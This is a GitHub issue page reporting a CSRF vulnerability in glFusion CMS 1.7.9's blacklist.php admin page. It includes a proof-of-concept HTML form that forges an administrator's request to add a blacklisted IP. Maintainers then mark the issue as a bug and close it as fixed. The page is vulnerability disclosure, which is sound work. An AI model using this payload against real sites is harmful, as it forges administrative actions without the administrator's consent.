Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

glFusion CMS 1.7.9 blacklist.php CSRF vulnerability #486

Closed
Topsec-bunney opened this issue Dec 9, 2021 · 3 comments
Closed

glFusion CMS 1.7.9 blacklist.php CSRF vulnerability #486

Topsec-bunney opened this issue Dec 9, 2021 · 3 comments
Assignees
Labels

Comments

@Topsec-bunney
Copy link

Topsec-bunney commented Dec 9, 2021

Attackers can construct blacklist IP addresses. Using the CSRF vulnerability to trick the administrator to click, can add a blacklist

poc

  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.255.130/glfusion-1.7.9/public_html/admin/plugins/bad_behavior2/blacklist.php" method="POST">
      <input type="hidden" name="mode" value="addsave" />
      <input type="hidden" name="bl&#95;type" value="spambot&#95;ip" />
      <input type="hidden" name="bl&#95;item" value="1&#46;1&#46;1&#46;121" />
      <input type="hidden" name="ban&#95;reason" value="ipbrute" />
      <input type="hidden" name="submit" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

notepad++_aEpevZ9pjv
firefox_k6jJMk5luW

@leegarner
Copy link
Contributor

leegarner commented Dec 9, 2021 via email

@mark0263 mark0263 self-assigned this Dec 26, 2021
@mark0263 mark0263 added the bug label Dec 26, 2021
@mark0263
Copy link
Contributor

Adding CSRF support for blacklist entry / edit.

@mark0263
Copy link
Contributor

Fixed with b380ead

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

3 participants